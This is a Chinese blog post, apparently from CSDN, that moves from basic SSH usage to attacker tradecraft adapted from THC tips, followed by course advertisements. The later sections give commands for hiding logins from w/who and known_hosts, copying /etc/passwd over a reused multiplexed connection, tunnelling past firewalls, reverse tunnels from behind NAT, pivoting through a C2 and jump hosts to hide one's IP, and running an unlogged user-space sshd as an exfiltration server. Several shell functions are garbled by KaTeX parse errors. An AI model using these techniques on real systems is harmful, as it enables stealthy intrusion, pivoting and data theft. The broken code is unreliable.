高级黑客技术-2.SSH

传统的互联网通信使用明文传输数据,内容一旦被截获就会完全暴露,存在很多安全隐患。SSH协议通过对网络数据进行加密和验证,建立SSH客户端和SSH服务器之间的安全隧道,在不安全的网络环境中为网络服务提供了安全的传输通道。


2.0 SSH速览

SSH最常用的场景是远程登录和文件传输。在SSH协议出现之前,Telnet广泛应用于远程登录场景,为远程管理网络设备提供了极大便利,而FTP作为常用的文件传输协议,兼具操作简单和传输效率高的优点,但它们都存在相同的问题,即明文传输数据带来的安全隐患。SSH采用加密传输数据、提升认证强度等手段,克服了Telnet和FTP应用中的安全性问题,实现了安全的远程登录和文件传输业务。

                                       SSH常用场景

SSH是如何工作的?

SSH由服务器和客户端组成,为建立安全的SSH通道,双方需要先建立TCP连接,然后协商使用的版本号和各类算法,并生成相同的会话密钥用于后续的对称加密。在完成用户认证后,双方即可建立会话进行数据交互。SSH的工作流程包括如下几个阶段。

SSH工作流程

                                          SSH密钥交换

常用SSH连接工具:PuTTY和OpenSSH

由于SSH是一套协议标准,需要依赖基于SSH实现的工具完成SSH客户端和SSH服务器之间的连接,PuTTY和OpenSSH应运而生。

PuTTY是Windows上经典的免费SSH连接工具,通常用于使用SSH协议远程登录设备,最新版本可以在**PuTTY官网[1]**下载。

OpenSSH是SSH协议的开源实现,支持在Unix操作系统上运行,最新版本可以在**OpenSSH官网[2]**下载。目前Windows10已经包含OpenSSH客户端和服务器软件,可在“设置—应用—应用与功能—可选功能”中搜索安装。

基础用法

1.SSH登录远程服务器

ssh 用户名@远程服务器地址


例如,登录到IP地址为192.168.1.1的服务器,用户名为hacker:

ssh hacker@192.168.1.1


2\. 指定端口连接

如果远程服务器SSH服务不是运行在默认的22端口,可以使用\-p参数指定端口:

ssh -p 端口号 用户名@远程服务器地址


例如,使用端口2222:

ssh -p 2222 hacker@192.168.1.1


3\. 使用密钥文件登录

为了提高安全性,可以使用密钥对而不是密码进行认证。使用\-i参数指定私钥文件路径:

ssh -i /path/to/private_key 用户名@远程服务器地址


例如:

ssh -i ~/.ssh/id_rsa hacker@192.168.1.1


4\. 执行远程命令

SSH可以在登录远程服务器后执行命令。只需在ssh命令后面直接添加要执行的命令即可:

ssh 用户名@远程服务器地址 命令


例如,查看远程服务器的当前日期:

ssh hacker@192.168.1.1 date


5\. 端口转发

SSH端口转发是一种将远程服务器上的端口转发到本地机器或反之的技术,非常适用于通过SSH隧道访问受限制的网络资源。

*   本地端口转发:
    

ssh -L 本地端口:目标地址:目标端口 用户名@远程服务器地址


例如,将本地的8888端口转发到远程服务器192.168.1.1上的80端口:

ssh -L 8888:localhost:80 hacker@192.168.1.1

*   远程端口转发:
    

ssh -R 远程端口:目标地址:目标端口 用户名@远程服务器地址


例如,将远程服务器的9999端口转发到本地机器的80端口:

ssh -R 9999:localhost:80 hacker@192.168.1.1


6\. 使用SSH复制文件

*   使用scp命令复制文件到远程服务器:
    

scp 本地文件路径 用户名@远程服务器地址:远程文件路径


例如:

scp /path/to/local/file hacker@192.168.1.1:/path/to/remote/destination

*   从远程服务器复制文件到本地:
    

scp 用户名@远程服务器地址:远程文件路径 本地文件路径


例如:

scp hacker@192.168.1.1:/path/to/remote/file /path/to/local/destination


以上是SSH的一些基础用法。掌握这些技能,可以帮助你更安全、高效地管理远程服务器。

2.1隐藏 SSH
---------

阻止您出现在w或who命令中,并停止将主机记录到~/.ssh/known\_hosts。

ssh -o UserKnownHostsFile=/dev/null -T user@server.org “bash -i”


PTY 和颜色让您倍感舒适ssh user@server.org::

### Cut & Paste the following to your shell, then execute
### thcssh user@server.org
ssh()
{
local ttyp
echo -e “\e[0;35mTHC says: pimp up your prompt: Cut & Paste the following into your remote shell:\e[0;36m"echo -e “PS1='”'\[\\033[36m\]\\u\[\\033[m\]@\[\\033[32m\]\\h:\[\\033[33;1m\]\\w\[\\033[m\]\\$ '”'\e[0m"
ttyp=$(stty -g)
stty raw -echo opost
[[ KaTeX parse error: Expected 'EOF', got '&' at position 11: (ssh -V 2>&̲1) == OpenSSH\_…{a:-accept-new}" -T \
KaTeX parse error: Undefined control sequence: \[ at position 105: …v/null exec -a \̲[̲ntp\] script -q…{ttyp}”
}


  

2.2 通过 1 个 SSH/TCP 连接的多个 shell
------------------------------

与目标有一个 TCP 连接,并允许多个用户借助同一个 TCP 连接来打开更多 shell 会话。

创建主连接:

ssh -M -S .sshmux user@server.org


使用上面的相同(单个)Master-TCP 连接创建更多 shell 会话(无需密码/身份验证):

ssh -S .sshmux NONE
#ssh -S .sshmux NONE ls -al
#scp -o “ControlPath=.sshmux” NONE:/etc/passwd .


可以与**thcssh\[3\]**结合来隐藏utmp。

  

2.3 SSH 隧道
----------

我们一直使用它来规避本地防火墙和 IP 过滤:

ssh -g -L31337:1.2.3.4:80 user@server.org


您或任何其他人现在可以通过端口 31337 连接到您的计算机,并通过隧道连接到 1.2.3.4 端口 80,并显示源 IP“server.org”。另一种无需服务器的替代方案是使用**gs-netcat\[4\]**。

聪明的黑客使用键盘组合~C动态创建这些隧道,而无需重新连接 SSH。 (感谢 MessedeDegod)。

我们用它来让朋友访问不在公共互联网上的内部机器:

ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@server.org


连接到 server.org:31338 的任何人都将通过您的计算机通过端口 80 隧道连接到 192.168.0.5。另一种无需服务器的替代方案是使用**gs-netcat\[5\]**。

  

2.4  SSHocks4/5隧道
-----------------

OpenSSH 7.6 添加了对动态转发的袜子支持。示例:通过服务器传输所有浏览器流量。

ssh -D 1080 user@server.org


现在将您的浏览器配置为使用 SOCKS 127.0.0.1:1080。您的所有流量现在都通过server.org进行隧道传输,并将显示server.org的源 IP 。另一种无需服务器的替代方案是使用**gs-netcat\[6\]**。

这与上面的例子相反。它允许其他人访问您的本地网络或让其他人使用您的计算机作为隧道端点。

ssh -g -R 1080 user@server.org


其他人配置 server.org:1080 作为他们的 SOCKS4/5 代理。他们现在可以连接到您的计算机有权访问的任何端口上的任何计算机。这包括访问本地网络上防火墙后面的计算机。另一种无需服务器的替代方案是使用**gs-netcat\[7\]**。

  

2.5 SSH 到 NAT 后面的主机
-------------------

**ssh-j.com\[8\]**提供了出色的中继服务:访问 NAT/防火墙后面的主机(通过 SSH)。

在 NAT 后面的主机上:创建到**ssh-j.com\[9\]**的反向 SSH 隧道,如下所示:

## Cut & Paste on the host behind NAT.
sshj()
{
local pw
pw=${1,}
[[ -z KaTeX parse error: Can't use function '\]' in math mode at position 4: pw \̲]̲\] && { pw=(head -c64 </dev/urandom | base64 | tr -d -c a-z0-9); pw=${pw:0:12}; }
echo "Press Ctrl-C to stop this tunnel."echo -e “To ssh to U S E R : − r o o t @ {USER:-root}@ USER:root@{2:-127.0.0.1}😒{3:-22} type: \e[0;36mssh -J ${pw}@ssh-j.com U S E R : − r o o t @ {USER:-root}@ USER:root@{pw}\e[0m”
ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R p w : 22 : {pw}:22: pw:22:{2:-0}😒{3:-22}
}

sshj # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected
sshj foobarblahblub # Creates tunnel to 127.0.0.1:22 with specific tunnel ID
sshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN


然后从世界上任何其他地方使用此命令以“root”身份连接到“foobarblahblub”(NAT 后面的主机):

ssh -J foobarblahblub@ssh-j.com root@foobarblahblub


ssh 连接通过 ssh-j.com 进入反向隧道,到达 NAT 后面的主机。流量经过端到端加密,ssh-j.com 无法看到内容。

  

2.6 SSH 转向多个服务器
---------------

在使用远程服务器时,SSH ProxyJump 可以为您节省大量时间并减少麻烦。让我们假设这样的场景:

我们的工作站是 $local-kali,我们喜欢通过 SSH 连接到 $target-host。我们的工作站和 $target-host 之间没有直接连接。我们的工作站只能达到$C2。 $C2 可以到达 $internal-jumphost (通过内部 eth1),而 $internal-jumphost 可以通过 eth2 到达最终的 $target-host。

              $local\-kali       -> $C2            -> $internal\-jumphost    -> $target\-host  

eth0 192.168.8.160 10.25.237.119
eth1 192.168.5.130 192.168.5.135
eth2 172.16.2.120 172.16.2.121


> ❝
> 
> 除了我们值得信赖的工作站之外,我们不会ssh在任何计算机上执行 - 您也不会(永远)。
> 
> ❞

这就是 ProxyJump 提供帮助的地方:我们可以通过两个中间服务器 $C2 和 $internal-jumphost 进行“跳转”(无需在这些服务器上生成 shell)。 ssh 连接在 $local-kali 和 $target-host 之间进行端到端加密,并且没有密码或密钥暴露给 $C2 或 $internal-jumphost。

## if we want to SSH to KaTeX parse error: Undefined control sequence: \- at position 26: …t: kali@local\̲-̲kali ssh -J c2@10.25.237.119,jumpuser@192.168.5.135 target@172.16.2.121

## if we want to SSH to just KaTeX parse error: Undefined control sequence: \- at position 32: …t: kali@local\̲-̲kali ssh -J c2@10.25.237.119 jumpuser@192.168.5.135


> ❝
> 
> 我们也用它来在登录服务器时隐藏我们的 IP 地址。
> 
> ❞

 

2.7 SSHD 作为用户空间
---------------

可以以非 root 用户身份启动 SSHD 服务器,并使用它来多路复用或转发 TCP 连接(无需日志记录,并且当系统范围内的 SSHD 禁止转发/多路复用时),或者作为以非 root 用户身份运行的快速 exfil-dump 服务器。根:

# On the server, as non-root user ‘joe’:
mkdir -p ~/.ssh 2>/dev/null
ssh-keygen -q -N “” -t ed25519 -f sshd_key
cat sshd_key.pub >>~/.ssh/authorized_keys
cat sshd_key
( c o m m a n d − v s s h d ) − f / d e v / n u l l − o H o s t K e y = (command -v sshd) -f /dev/null -o HostKey= (commandvsshd)f/dev/nulloHostKey=(pwd)/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv


# On the client, copy the sshd_key from the server. Then login:
# Example: Proxy connection via the server and reverse-forward 31339 to localhost:
ssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 joe@1.2.3.4
# curl -x socks5h://0 ipinfo.io

**SSF[10]**是通过 TLS 复用 TCP 的另一种方法。

💡 免责声明

本文为技术共享文章,仅有教育交流目的,不构成任何法律或专业建议。读者应自行承担使用该文章所产生的风险和责任。作者和组织不对使用该文章所引起的任何损失或损害负责。

本文严禁提供、讨论或鼓励任何网络安全违法行为。请遵守法律法规,进行合法的技术共享活动。

👉

关于黑客&网络安全学习指南

学好 网络安全不论是就业还是做副业赚钱都不错,但要学会 网络安全 还是要有一个学习规划。最后给大家分享一份全套的 网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础等教程,带你从零基础系统性的学好网络安全。

1.学习路线图
在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.网络安全视频教程600集和配套电子书
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

在这里插入图片描述

温馨提示:篇幅有限,已打包文件夹,获取方式在:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
在这里插入图片描述

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
在这里插入图片描述

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网络安全技术库

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值